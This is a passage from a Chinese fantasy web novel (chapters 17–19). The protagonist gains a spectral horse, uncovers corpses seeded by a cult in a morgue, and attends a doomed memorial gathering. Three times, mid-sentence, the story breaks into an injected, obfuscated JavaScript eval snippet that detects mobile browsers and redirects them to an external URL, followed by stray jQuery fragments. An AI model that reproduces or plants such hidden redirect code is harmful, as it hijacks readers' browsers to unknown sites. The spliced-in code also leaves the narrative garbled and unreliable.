季泠州则安稳地卧在年轻人头顶。他不知道自己深处何地,也不知道该如何离开这里,只好跟着唯一的智慧存在,寻找机会。 之前,他曾读过几份塔坎瑟斯攻略,里面大多提到受仪式者来到一片满是各种动物的花园。 而此处,唯一的活物就是那个年轻人。 接下来的旅程,不需要季泠州自己飞了,他稳稳地站在年轻人的头上,搭顺风车。 年轻人大概是孤独了太久,一路上絮絮叨叨说了许多。 有奥妙的超凡知识,也有他的人生经历。 年轻人的经历很简单,大概可以概括为:他是一个强大的超凡者,或是直接就是个异常。 他活了无尽的岁月,久远到连自己都记不清开端和过程。 曾结交过一个朋友,但那个朋友消失了,临别前托付给他一件事,他现在就在做这件事。 他喜欢热闹,但很可惜,这里一点也不热闹。 季泠州很想问他,到底是怎样的友谊?值得你付出这么多。 可惜,他只能发出清脆的啼鸣声。 时间在日复一日的跋涉中过去了,年轻人的话一天天减少,逐渐安静下来。 季泠州跟着他,穿过了石头构成的旷野、翻过了巍峨雪山、穿过漫无边际的草原和森林、又泅渡过一片淡紫色的大海。 最终,来到世界的尽头。 这里是无光的世界,只有黑暗和虚无。 年轻人的身上亮起淡淡的光,照亮周身几米的范围。 “小家伙,多谢你一路的陪伴。”他将季泠州捧在掌心,轻声道。 接着,他伸手从季泠州身上拔了一片羽毛。 “嘶!”好痛!季泠州飞到年轻人头上,用唯一的武器——鸟嘴啄他的脑袋。 “谢谢你的羽毛,我会好好收起来,作为纪念。” 年轻人说完,双手攥住黑暗,撕了一大块下来。 季泠州惊呆了! 无光的世界缺了一块,露出外面透明的星海来。 “啊!真实之海,每次看都是这么漂亮。”他站在小洞外面,欣赏了一会,感慨道。 季泠州的眼中,星海是由无数线条交织构成,每一秒都有无数的符文诞生湮灭。 眼前的一切,仿佛是永恒的具象,由极致的美与奇异堆砌而成。 一旁,年轻人似乎是看腻了,了然无味地低下头,认真摆弄手里的世界碎片。 骨节分明的指头相当灵活,三五下就捏出根羽毛的形状。 他举起那根晶莹如玉的漆黑羽毛,很是满意,然后将它轻轻插回到季泠州的翅膀上。 “嘶!”这次更痛了。若说上次只是身体之痛,这次则直击灵魂。 巴掌大的鸟儿蜷成一团。 年轻人提起鸟脚,朝来时的路用力一抛。 一道灰褐色的流星划过森林草原、雪山旷野,回到最开始的地方。 地火喷发,鸟儿消失在炽焰中。 季泠州猛地睁开眼睛,被火焰焚烧殆尽的痛苦似乎仍未消退。 他大口地喘着气。 夜莺好奇地看着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195674|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你抓到了什么?你看,契约戒指消失了。” 他抬手按住额角,那根漆黑羽毛插在了自己的灵魂上,让脑袋不断抽痛。 抓?自己似乎没看见除年轻人外的第二个活物。 那个年轻人,能轻易将世界撕裂一角,很明显不是自己能抓到的。 “我可能是失败了。”他无可奈何道,“能再来一次吗?这次不太顺利。” 夜莺摇摇头:“成为半神前,每个人只能进塔坎瑟斯一次。” “不过。”她话锋一转,“我注意到你的契约戒指消失了,按理说你成功了。” 塔洛恩·加兹鲁维推门而入。 “我那高高在上的公主,你在办公室喝茶看报的功夫,我跑断了腿。” 他嘴里抱怨着,用力给自己扇风。 忽然,他动作一滞:“这小子该不会契约成功了?” 夜莺:“是的。他的戒指消失了,代表对应的那条路走通了。” 塔洛恩用力拍了一下季泠州的肩膀,笑眯眯地说:“小子,快放出来让大家看看。” 季泠州:“要怎么做?” 夜莺:“你闭上眼睛,在意识海里能看到除职业外的第二团光辉,你戳一戳它,就行了。” 听起来,有点像去动物园逗猴儿? 他将信将疑地闭上眼睛,只见意识海里,悬浮着一支漆黑的羽毛。 正是年轻人捏出来的那支。 他试着用力量拨动羽毛。 下一刹,巨量信息涌入他的脑海。 可惜,这些信息过于晦涩难懂,大部分如同天书般玄奥。唯一知道的,就是这羽毛很有用。 但他目前只能调动羽毛微不足道的一点力量。 办公室中央。 空中燃起幽绿烈焰,一匹四足燃着火焰,异常神俊的马嘶鸣一声,凭空出现。 塔洛恩深深吸了口气:“天!一匹真正的塔坎瑟斯马?” 夜莺霍地站起身,向来平静的脸上,惊讶表情油然而生。 “我先前只是听说,塔坎瑟斯马比寻常的马更为高大健壮。没想到,它如此……”她顿住,似乎在整理措辞,“如此华丽。” 他想,这自然不是塔坎瑟斯马,这是午夜呀!他曾在游戏里数着cd刷了一年,最后只能无奈放弃。 马儿甩着尾巴,亲切地拱着季泠州的脸。 他抚摸着马燃烧着火焰的鬃毛,竭力不让脸上露出洋洋得意的神色,说:“看起来是不错。” “天杀的幸运儿!”塔洛恩咬牙切齿。 夜莺在心中默念:“嫉妒是罪孽!夜莺,快控制住自己。” 季泠州一头问号:“你俩演得有点假了。” 夜莺有气无力地坐回去:“你和他讲吧。” 塔洛恩目光痴迷地看着季泠州的马,用如梦似幻的语气解释: “塔坎瑟斯特指里世界的一块特殊区域,那里生活着各式各样的里世界生物,它们天生好奇心强烈,所以很容易被骗到现世。” “其中,以塔坎瑟斯命名的马最为有名,传闻它速度极快,甚至能帮助主人撕咬敌人。” 季泠州皱眉:“所以说,协会指的送塔坎瑟斯马,实际指的是塔坎瑟斯的某个生物?” 夜莺:“是的,即便只能抓到一头猪,也足以带出去炫耀了。” “要知道,塔坎瑟斯生物是天生的信使。在不带人的情况下,能穿越一切结界。” “骑乘只是它最微不足道的能力。” “季,你真是该死啊!为什么要让我知道你拥有了一匹塔坎瑟斯马?”塔洛恩咬牙切齿道, “嫉妒就像是火焰,疯狂地灼烧着我的心智。” 夜莺无力地摆摆手:“幸运儿,请停止炫耀。我们该说正事了。” “塔洛恩,这件异常物不简单,它能做种子。”她指着抽奖盘,满脸认真。 17.腐败盛宴 “你是在哪里捡到它的?”塔洛恩如梦初醒,捧起转盘。 季泠州摊摊手:“银月河边,被河水冲上来的。你知道的,人们什么都往水里扔。” “我忘了,你就住在河边。要我说,这可不是什么好事。”塔洛恩恍然大悟,用力拍了一下脑袋。 “小子,听我说。你得提防那些蓝头发的海民,他们会在你睡着的时候,从水里爬上来钻进窗户,然后一刀割断你的脖子。” 夜莺瞥了他一眼:“偏见蒙蔽理智。我与几位海民打过交道,他们守诺的程度,远胜许多岸上的‘文明人’。” 塔洛恩嗤笑了一声,没有言语。 “好了,请让我们结束关于海民的讨论吧。” 季泠州抬手扶额:“那么,你们所说的‘种子’……具体指什么?我猜想,它和普通的植物种子应该不是一回事。” 夜莺:“季,你是天生的超凡者,不知道也正常。” “超凡种子指一部分特殊的异常物,经过专业处理后,能帮助凡人觉醒超凡职业。” “特殊?” 塔洛恩指指转盘:“如这件,它的‘气息’很新,沾染的情绪也很淡。”他用鼻子贴住抽奖盘使劲儿嗅闻。 情绪也有味道?那可真是太糟糕了,他本以为这个世界已经足够污秽。 夜莺看到季泠州依旧满头雾水,又解释了一句: “许多诞生久远的异常物,在人们手中流转使用,情绪会侵染它的灵性。用这样的异常物成就超凡,很容易发疯。” 塔洛恩撩起胳膊,露出一道极长的狰狞疤痕,用怀念的语气说: “瞧,一个‘种子’没选好的疯子送的纪念品。我到死都忘不了他那双疯狂的眼睛,和稻草一般的头发。” “平心而论,我觉得凋零诗人长得还不错,我记得梅薇还追求过他。”夜莺无奈地摊手,“在他大开杀戒之前。” 塔洛恩眼睛一瞪,像要生气。 “那这罗盘值钱吗?” 季泠州连忙打断,他希望二位大佬能停止小学生般的斗嘴,在有限的时间里多说点有用的知识。 夜莺:“说不准,得有愿意尝试的人才行。” “拿去沙丁鱼酒馆,我敢打赌,想成为超凡的人能从酒馆门口一直排到海里。”塔洛恩小声嘀咕了一声。 季泠州默默记下了这个名字,心想若缺钱时或许可以拿去那里碰碰运气。 夜莺没有说话,只是举起右手,有一下没一下地抚摸着那枚戒指——【来自黄刺蛾幼虫的贴贴】。 “行了,你快走吧。”塔洛恩以迅雷不及掩耳的速度拉开一扇门,门外正是贝克街221号。 这个胖子很明显察觉自己说漏嘴了,掩饰不过去,只好处理掉无辜的旁听者。 季泠州从善如流地离开。 今天收获颇丰。果然,跟着大佬行动,即便是旁听些闲聊也能受益匪浅。 办公室里,季泠州离开后,塔洛斯忽然从椅子上滑落在地,似是再也忍不住了。。 夜莺似是早有预料,叹了口气,问:“严重吗?” “你说呢?”塔洛斯疼得满头大汗,手指颤抖着掀开上衣,露出血肉模糊的伤口。 只见他的胸口满是指头粗的黑洞,依稀能看到肥白的虫子在里面蠕动。 看到这骇人的一幕,夜莺眉头紧皱:“你中招了?” “本…本来那口咬在灵魂上,我让梅特伦帮我转移到了躯体上。”他伸手扣住椅子扶手,试着站起来。 “你还在蕴养那把剑?真是不知死活。算了,我懒得说你了。”夜莺嘴上说着抱怨的话,动作却是一点也没停。 她快步站起,打开身后的座钟,一只金灿灿的啄木鸟飞出,落到塔洛斯的胸口,开始啄食虫子。 塔洛斯没有理会,半眯着眼说:“狂乱之喉的信徒不过是些吃垃圾的废物,无关紧要。蠕行者才是最要命的,自第一天爆发后再没有死过人,我心中很不安。” 夜莺掏出罐药膏抛给塔洛斯,语气平淡:“马上就到年底了,012会重新锚定认知,到时候加进去就好。” “希望吧……”塔洛斯开始给自己涂药,疼得龇牙咧嘴。 …… 今天的贝克街格外安静,大抵因为明天就是休息日,人们都懒洋洋的。 一声惊慌的喊叫声打破了街道的平静。 “小心!”伴着马儿的嘶鸣,一辆载货马车横冲直撞地冲过来。 季泠州握住高光,身体再次灵巧起来,没等做出闪避的动作。 马车夫死死拉住缰绳,在最后关头猛扯方向,马车擦着季泠州的身侧惊险停下。 一个木头箱子在惯性作用下,滚落在地。 好险!看着那碗口大的蹄子,龇牙咧嘴的食草动物长脸,他的眼角跳了跳。 季泠州在心里感叹,这就是苍白挽歌准备的今日份厄运吗? 塔洛斯带来的异常物很管用,今天早上照例检查天命皇帝的死亡日记,自己的寿命倒计时暂时停住了。 但他觉得,照这样下去,自己恐怕等不到自然死亡的那天——意外会抢先一步找上门。 马车夫跳下车,急匆匆朝季泠州跑来: 他大叫道:“先生,您没事吧?” 季泠州对他使了个安抚的眼神:“没事。” 胡子拉碴的马车夫如释重负,额前的金发被汗水浸透,紧紧地贴在脸上,很是狼狈。 他一瘸一拐朝着掉落的箱子走去,似乎腿脚不方便。 “我帮你。”季泠州抱住箱子,想搬起来。 箱子纹丝不动。 又试了一次,箱子依旧纹丝不动。 他直起身,拍了拍手上并不存在的灰,对着马车夫露出一个略带自嘲的苦笑,摊了摊手。 马车夫眼中满是感激,自己搬起了箱子。 望着马车离去的背影,季泠州心情轻松了起来——与人为善,手有余香,今天是做了件好事。 他脚步轻快,朝家门走去。 在拥有彼方之前,家对他而言只是个睡觉的地方。 他时常站在屋前的树下,望着空荡荡的窗户心生抗拒。但现在,回家似乎变成了一件值得期待的事。 街角,货运马车上,马车夫面露困惑: “俊美,东陆人,二十岁出头,条件都符合。可那人眼看着活不了几天了,似乎并不是主人要寻找的那人。” 车厢里,唯一有磕碰痕迹的箱子里传来清脆的童声:“都杀了!” “不行!我闻到了夜莺的味道。”金发男人的声音压得很低,带着明显的忌惮,“那条狡猾的母鬣狗,我可不想在完成任务前,被她盯上。” “懦夫。胆小鬼!” “我警告你,”男人转过头,眼神如同淬毒的冰棱,一字一句地钉入箱中,“永远别再让我听到那两个字。” “废物!废物!废物!”童声开始用一种单调而尖锐的语调循环。 “我要去播撒更多的种子,”男人不再理会箱子,额角青筋跳动,声音从牙缝里挤出,带着魔怔的狂热。 “让这座城市……在最绚烂的腐败中,绽放成最美的花园。” 季泠州并不知道自己刚才和死神擦肩而过。 他正从门口的地毯上捡起一个包裹。 【艾希莉的希望包裹:除挚友赠送的手工木雕外,她还写了一封信给你。】 “哦,有意思,以纪念赫尔曼·苏利文先生为主题的聚会,明晚七点。”他轻声读出信上的内容。 早些时候,他收到协会寄来的协议:艾希莉为委托支付了五十个金帆,暂由协会代管。 身后,彼方殷切地帮他挂起外套,递上一杯热茶。 …… 厚重云层遮住月亮,大地一片黑暗。 季泠州对今晚的天气很满意。十二点的钟声刚一敲响,他便准时出了门。 贝克街上空无一人。 走出了半条街,他召出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204815|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那匹塔坎瑟斯马,骑了上去。 他并未学过骑马。实际上,他骑过的最快的东西,是读书时家里那辆吱呀作响的自行车。老,但结实。 马蹄声哒哒作响,迎面而来的风吹得人几乎睁不开眼,路也颇为颠簸。 季泠州叹了口气,他心念一动,身下的骏马便在一阵微光中,拉伸、重组,化作了一辆朴实的马车。 披着带兜帽斗篷、面目模糊的车夫拉着缰绳,操控马儿朝出城的方向前进。 车厢里,一盏幽绿色的灯将季泠州的脸照成绿色。 以他当前的力量,那根漆黑羽毛暂时只能用来召唤代步工具。 作为世界的碎片,它记录了世界诞生以来,能提供速度加成的一切存在。 马、鸵鸟、马车、霜狼、蒸汽车、船,以及某个有大板牙的原始人…… 排除引人注目的那些,一辆平平无奇的租赁马车是最好的选择。 他抽出侦探日报,津津有味地读了起来。 一个小时后,马车停在了一幢外皮斑驳的建筑外面。 终于到了,郊区墓地。 漆黑的羽毛化为光点,悄无声息地收回他的意识海中。 夜深露重,季泠州拉起领子挡风,绕着围墙转圈,认真实践刚学的技巧——《潜入未知建筑必学的27个侦探技能,最后一个关乎性命》。 第一条怎么写的? 首先,寻找一个能垫脚的地方。墙上自打的缺口最好,实在没有可以搬几块石头。 他绕了一圈,无奈叹气。建筑看起来破旧,围墙却是新的,上面甚至布置了玻璃碴。 看来,只有用那招了! 唉! 季泠州用围巾小心裹住自己脸,右手探向身后,自虚空中抽出了高光。 一瞬间,他像是变了人。像是出鞘的剑,目光凛冽。 他略微沉下身子蓄力,一跃而起跳上墙头,站在玻璃碴的空隙上。 他并没用立刻下去,反而站定身形,脸转向路边的垃圾堆,摆了个潇洒的造型。 夜空中,月亮也趁机钻出云层,照亮了大地。 月光下,他一把扯下遮脸的围巾,拽下腰间挂的银色酒壶灌了一口,像极了那些传奇故事里落拓不羁的游侠。 可惜,他们喝的是酒,自己喝的是刚在协会领的补血药剂。 好苦!季泠州龇牙咧嘴。 药汤的苦涩尚在舌尖,但“高光”这不受控制的副作用,带来的尴尬余味更让人心头泛苦。 他暗自叹口气,这哪里是耍帅,分明是公开处刑。 幸好没人看到! 以迅雷不及掩耳的速度收起高光,季泠州重新裹住脸,绕开守墓人的房间,往停尸房而去。 围墙外面的垃圾堆里,一只毛皮干枯的流浪狗钻了出来,它向往地望着墙头的方向。 狗已经很久没有找到食物了,它很羡慕刚才那个站墙头吃东西的大个子。 停尸房里,弥漫着浓郁的腐臭和霉味。 他拧亮煤油灯,昏黄的光穿过冰冷的空气,照亮一排排敞着门的停尸柜。 “滴答!” “滴答!” “滴答!” 什么声音?季泠州的心提了起来,四下扫视后将目光锁定在房间中间的解剖台上。 泛黄的白布上面隐约凸起人形轮廓,布单边缘不断渗出如沥青般粘稠的液体,它们散发着微弱的磷光,滴在地上。 那股臭味变得愈发浓烈,其间还夹杂着一丝海腥气。 他屏住呼吸掀开白布,胃里一阵翻江倒海: 尸体惨白的脸上,大团暗褐色液体自五官渗出。胸口的肌肤起伏波动,似是有活物在下面活动。 在‘鉴定’视野中,尸体头顶原本的【蠕行者的食物残渣】标签已然消失,转而浮现出一个令人不安的新名称——【腐败盛宴】。 “大人,您是来取夜宵的吗?”苍老嘶哑的声音自背后响起,吓了季泠州一跳。 18.赫尔曼·苏利文纪念会 季泠州转过身,只见一个佝偻的老人无声无息地站在几米外。 老人的脸如风干的橘皮般布满皱褶,脸颊上生着大团的黑斑,若不是胸口仍有微小起伏,季泠州几乎以为这是个死人。 老人身上散发着和尸体同样的臭味儿,眯着干瘪的眼睛打量他。 季泠州脑海里飞速思索着老人的话——“夜宵”?可这里只有尸体。 突然,关于黑暗丰穰献祭仪式的记忆闪过脑海。 季泠州定了定神,模仿着记忆中那种居高临下的口吻,冷笑一声,用轻蔑的语气说道:“这次的货色,看着可不怎么样。” 老人眼中的怀疑散了几分,恭敬地弯下腰:“我已经按照大人的吩咐,给每具苗床都播下种子了。” “可是,它们似乎营养不够,我试了许多方法,都不行。” 老人大声为自己辩解着,还掏出一个脏兮兮的陶碗,猛地扣在一具尸体的脸上,用力摇晃。 片刻后,他取下碗,里面竟接了半碗浑浊的液体,随后他将碗递向季泠州,浑浊的眼睛里带着一丝质朴的期盼,“大人,请您……品尝。” 季泠州身体僵硬地接过碗,近距离之下能看清碗里蠕动的白色颗粒。 理智在尖叫。 他飞快移开视线,这骇人的景象让他头皮发麻,胃部猛然痉挛。 他强行压下喉头的翻涌,齿缝间吸入一丝短促的气,将更多尸体的腐臭深深吸入肺中。 一瞬间,仿佛整个世界都被这股难以言喻的恶臭彻底浸透。 “你先放下。”季泠州放下碗,勉强道,“有没有今天新到的苗床?带我去看看。” 他学着老人的口吻,用“苗床”代指尸体。 老人浑浊的目光恋恋不舍地扫过那只碗,才转身拉开角落的柜子。“都在这里了。” “你先退下,我要用特殊的手法处理这些‘苗床’。”季泠州努力让自己的声音显得冷漠而权威。 “……是。”老人佝偻着身子,提上那盏昏暗的油灯,步履蹒跚地消失在门外的黑暗里。 停尸房再次安静下来。 季泠州确认了尸体头上的【蠕行者的食物残渣】,便开始翻找。 半块干面包、一把螺丝、钥匙…… 都是些无关紧要的东西,他需要一件真正有用的东西。就比如…… 找到了! 在一个穿着油腻夹克的老年维修工身上,他找到了一张打卡纸。 维克多·鲁索,本月出勤26天……后面是密集的一排打卡孔。 此外,还有家政行会的洗衣女工安雅·施密特,以及一个七八岁的孩子罗里·埃默森。 季泠州掏出日记,寻了个空白的角落,用带来的钢笔依次写下死者的名字。 血红的数字浮现又消失,反复几次后,连带着写下的名字也一同消失了。 得益于这具身体原有的良好视力,以及前世义务教育锻炼出的心算能力,季泠州确信自己弄明白了:蠕行者窃取的,是时间。 通往真相的最后一环补上了。 蠕行者通过欺骗进入人们的家后,会替代受害者完成本该由他们亲自完成的工作,可能是家务、可能是作业。 在这个期间,受害者的生命会大量流逝。并且,受害者年龄不同,被窃取的时间量似乎也存在差异。 孩子被替代后,失去的时间最多。其次是年轻人,最后是老人。 原理是什么?季泠州推测,或许是因为不同年龄的人,对时间流逝的主观感受本就不同。 于孩子而言,一下午不喜欢的课程,漫长的像一辈子。而对于老人而言,一下午时间在漫长生命中,不过是白驹过隙。 季泠州合上日记本,小心地放回贴身的口袋里。 必须得尽快将发现告知协会,他曾委托彼方注意蠕行者。 就在今天下午,彼方告诉他一个坏消息:许多民众已经注意到了蠕行者,他们甚至故意放那东西进来,好让它替自己完成家务。 他准备离开了。 路过守墓人小屋时,里面传来一阵可疑的、吮吸液体般的声响。 季泠州瞥见老人先前捧着的那个碗已不见了踪影,他胃里一阵翻腾,连忙强迫自己移开视线,遏制住所有不妙的联想。 涅伽拉德很大,等回到家已是黎明时分。 彼方“嘭”的一声打开正对街道的窗户,巧妙地利用玻璃,将一束阳光精准地反射到季泠州脸上,以表示自己的欢迎。 真是个调皮的大家伙。 他只好伸出一只手,挡在眼睛上方。 “你去哪里了?”艾希莉站在他家门口,一只手叉着腰。 季泠州义正言辞说:“我去晨练了。” 艾希莉显然不信,目光不动声色地扫过他裸露的脖颈、手腕等部位,仿佛在搜寻某些可疑的痕迹。 显然,她什么也没发现,注定要失望了。 “季先生,你闻起来很香。我知道很多男人喜欢去三色堇大剧院过夜。但今晚就是赫尔曼的纪念会了,我希望你能认真对待。” 艾希莉声音低沉。 “毕竟,我已经支付了定金。” “咳咳咳,抱歉。”季泠州闻言低头闻了闻,惊讶地发现自己身上那浓郁的尸臭,不知何时竟变成了一股甜腻得发闷的花香,这变化让他自己也感到错愕。 “……这味道是怎么回事?” 或许和粪臭素稀释后,闻起来像茉莉花香的道理一样。 他没有辩解,转而问道:“说正事吧,我已经有头绪了,一会还要去调查。” 艾希莉看他迅速进入工作状态,满意地点点头:“距离纪念会没多久了,我想找你确认一下准备工作的进展。 “恕我直言,贝内特小姐,您在信上写的是今夜七点,而现在是早晨。” 艾希莉好看的湛蓝眼睛瞪大了:“季先生,您该不会没参加过涅伽拉德的聚会吧?” “是的。”他很坦然。 艾希莉双手捂住脸,叫道:“天呐!那我们要做的事情可就多了。我必须要拜托亲爱的苏乐薇帮忙了。” 半日后。 季泠州确信,今日苍白挽歌安排的“厄运”是由艾希莉·贝内特小姐提供的,和她那热情的朋友苏乐薇·瑟拉娜·法雷尔。 正如此刻,他站在定制礼服店的试衣镜前,仿佛置身于一个由丝绸、羊毛与熏香构成的陌生领域。 三位裁缝无声地围着他,手里举着软尺、针插和粉笔,他们的动作精准而轻柔。 涅伽拉德的服饰礼仪比奥伦特更复杂。 从内衣到外衣,从配饰到搭配的剑、手杖,以及超凡者可能携带的、具有一定象征意义的异常物,都有讲究。 他只觉一头雾水。 “您的职业是侦探,胸前的配花最好用剑兰,代表着力量、决心和无畏的勇气。”艾希莉打量着他说道。 “不用那么复杂,我是东陆人,我们那崇尚简约朴素。” “季先生,您在开玩笑吗?”苏乐薇捂着嘴笑出声,“东陆?朴素?” 她就是从金罗勒餐厅接走艾希莉的年轻女人。 “看来您说的在奥伦特长大,所言不虚。”艾希莉将一束剑兰塞进他怀里,开始讲解聚会礼仪。 季泠州认真听了一个小时,终于弄明白了个大概。 在涅伽拉德,人们流行结社。 纺织女工的金顶针社、工程师的蒸汽齿轮会、大学毕业生的学术沙龙、超凡者的灵修会…… 种类繁多,不计其数。 今夜他要参加的赫尔曼·苏利文纪念会,便融合了高知群体聚会与超凡者聚会的双重特质。 在聚会上,人们会盛装出席,佩戴对应的装饰。衣饰的昂贵精致程度,直接体现了参会者的态度。 若是按照季泠州先前的打算,在聚会上怕是没人愿意和他说话,更无法开展调查了。 他心中苦笑,这不就是“只敬罗衫不敬人”的异界版吗? 陌生的衣物一层层覆上身体。 最贴身的亚麻衬衣,布料挺括微凉。接着是有着繁复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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隔着半条街,就能闻到浓郁的花香气。成捆的雪白鹳羽花被扎成花球,装饰在建筑物外面。 季泠州跟在艾希莉后面,刚进入门厅,暖风夹杂着熏香迎面扑来。 一列训练有素的侍应生站在一旁,帮客人脱下外套,带去一旁保管。 “哦,贝内特小姐,愿亡月保护赫尔曼的魂灵。”一个高大的棕发年轻男人热情地抱住艾希莉。 “麦克斯韦先生,我相信赫尔曼仍然在世。”艾希莉神色冷淡,从那人的怀里挣脱出来。 “这是你的新伴侣吗?”麦克斯韦眯起眼睛,用不怀好意的眼神打量季泠州,“一个东陆人?” 季泠州脸上挂着礼貌疏离的笑,心里却暗暗吐槽: 这只魁梧的大猩猩把我当成了情敌。这就是侦探在工作中,不得不面对的挑战吗? 艾希莉摇摇头:“请注意的你的言辞。这位是季,赫尔曼和我的共同好友。” 麦克斯韦眼中的防备散了几分,脸上重新挂上热情:“季,我之前从未在聚会上见过你,来,请进。” 他的手臂揽在季泠州肩膀上,一股浓郁的香水味儿扑面而来,呛得季泠州眼睛发酸。 聚会的大厅正中间,摆放着赫尔曼·苏利文的照片,被鹳羽花环绕着。 季泠州打量着画像。 灰发青年神色淡漠地望着镜头,身上洛萨兰国立大学的制服一丝不苟,身后是座斑驳的老钟楼。 和照片上的男人对视了两秒,季泠州模仿前面的宾客,放下手里的红色鹳羽花。 “苏利文是我们这届成绩最好的,本以为他能取得非凡的成就,没想到却英年早逝。” 前面的红发男人站在一旁没有离开,似乎是赫尔曼的同学,嘴上说着同情的话,脸上的沾沾自喜几乎要溢出来。 “谁说不是呢?要我说,不合群的人都容易遭遇不幸,我早就和他说过,可惜他不听。”画像另一侧,一个有高颧骨的女人接话道。 艾希莉的脸冷下来,冲上去就要争辩,却被季泠州一把拉住。 “小心,不要过去。”他的声音简短而急促。 只见视野范围内,所有人头上都有一个标签——【将死者】。 19.凡人皆有一死 麦克斯韦瞪着季泠州拽着艾希莉的手,露出满口白牙,似乎下一秒就会因嫉妒,像宠物犬一般上来撕咬他的脚后跟。 季泠州无暇关注路人甲的爱恨情仇。 他神色凝重,反复扫视人群,试图寻找一个头上没有【将死者】标签的人。 遗憾的是,没有。 麦克斯韦终于忍不住了:“季先生似乎心神不宁?难道你除了贝内特小姐,还约了别人?” 蠢货! 季泠州心里摇头,恢复微笑。 他弯腰在艾希莉的耳边说了几句话,她钻入人群。 麦克斯韦试图跟上艾希莉,然而季泠州像是突然发现了他的存在,拉着他的胳膊攀谈起来。 “我听说,您在市政厅新组建的部门工作,专门负责海文区的拆迁工作。这是伟大的工作,向你致敬。”季泠州举起酒杯,满脸友好。 事实证明,只要脸皮足够厚,即便是和厌恶自己的人也能聊得开。 等麦克斯韦摆脱季泠州,艾希莉已不见踪影。。 他心中有些失落,但很快振作起来,将目标瞄向另一位淑女。 这位淑女的家族在制糖业耕耘多年,家资颇丰,虽然不如贝内特家的海运生意,但也算得上今晚女性宾客里数一数二的存在。 宴会厅一角,艾希莉和季泠州碰了头。 “听我说,我们不能离开。赫尔曼没有家族,这次纪念会还是一位学长组织的。这是唯一一次了,不能错过。”她声音急促。 季泠州皱眉:“怀特先生告诉过你我的真实身份吗?” “一位年轻但颇有实力的侦探,破过许多复杂案件。” 他摇摇头:“不,我是超凡者,对危险的感知很敏锐。死亡的阴云笼罩了所有人,我们必须离开。” 艾希莉深深地看了他一眼,说:“证明给我看。” 季泠州思索了片刻,从口袋里取出个骰子。 他简短解释道,“现在让我选择一个目标,看看他的运气如何。” 他扫视人群,很快锁定了那个喋喋不休贬低赫尔曼的红发男人。 在亡者的纪念会上公然反复贬低亡者,实在是太不礼貌了。 更何况,艾希莉几次压抑不住怒火,试图上去辩论,即便是为了照顾委托人的情绪,也该让那人闭嘴。 季泠州掷出了骰子,一点,运气很好。 那个男人忽然被酒呛住了,他大口地咳嗽着,放下手里的高脚杯。一颗葡萄滴溜溜地滚过来,落到杯子底托下。 杯子倾倒掉落,摔成几块。 他一脚踩在杯子碎片上,一声短促尖锐的惨叫后,捂着脚跳了起来。 接着,在众人惊讶的目光中,他撞上了香槟塔,被酒水和杯子埋住,狼狈不堪。 人群中,一个矮胖的男人窜出来,诚恳地对着众人道歉: “诸位,我替我的同事,市政厅办公室三级文书爱德华·萨默斯先生向大家道歉,他第一次参加这种档次的聚会不熟悉礼仪,请大家原谅他。” 男人落井下石起来,还真是超乎想象。 季泠州万万没想到还有补刀人。 艾希莉低声说:“萨默斯先生的仕途,今晚到此为止了。”她指着人群里一位面色铁青的华服中年男人,解释: “他的顶头上司看起来很不高兴。”她朝着矮胖子抬抬下巴,“那位‘好同事’估计也是,情商实在堪忧。” 侍应生熟练有素的上来抬走爱德华·萨默斯,然后将地面收拾干净。很快,新的香槟塔搬了上来,一切恢复如常。 “现在,你信了吗?”季泠州望着大门口,他决定无论艾希莉是否同意,自己都要离开。 “走。”艾希莉抬抬下巴,示意他跟上。 “现在是晚上八点。像这样的聚会,开场后会封锁正门。我知道一条小路,直通侧门,那里是开着的。” 季泠州从善如流。 十分钟后,两人站在一扇锁住的窄门前。 艾希莉的指尖轻轻划过冰冷的门锁,眉头微蹙:“门锁着。这不对,我从没见它锁过。” “看我的。”他干脆利索地自怀里抽出高光,朝着门锁劈去。 门锁一分两半,艾希莉目瞪口呆。 “我称这为‘东陆开门术’。”他心情很好,甚至开了个玩笑。 门后面是一条明亮的、铺着孔雀绿地毯的通道,尽头处隐约传来人群的喧闹声,二人很快就走到头。 只见麦克斯韦站在前面,微笑地看着两人: “你是个卑鄙的伪君子,还说不是新伴侣,背着大家躲到一起,我真替赫尔曼感到不值,他才失踪没多久。” 艾希莉和季泠州说不出话。因为两人赫然发现,自己又回到了门厅。 “我记得那扇门通往小花园的,怎么会?”艾希莉结结巴巴说。 季泠州朝前跨了一步,将她挡在身后,左手不动声色地捏了捏她的胳膊,示意她不要再说,交给自己处理。 麦克斯韦的质问声极大,半个大厅的人都好奇地望过来。 季泠州调整姿势,微微垂头,露出悲伤的侧脸,说:“我读到一首诗,很适合献给赫尔曼先生,因而邀请贝内特小姐帮我点评。” “诗?”麦克斯韦满脸不信。 人群中,人们众星拱月般围着的一个面色冷漠的老者也投来关注的目光。 “他就是诺兰教授,赫尔曼的老师。”艾希莉在背后小声提醒。 这位诺兰教授,很可能也是一位超凡者。 季泠州毫不露怯地冲诺兰的方向微笑:“既然麦克斯韦先生不相信,不妨给我一个机会,当着大家的面读出我的诗。” 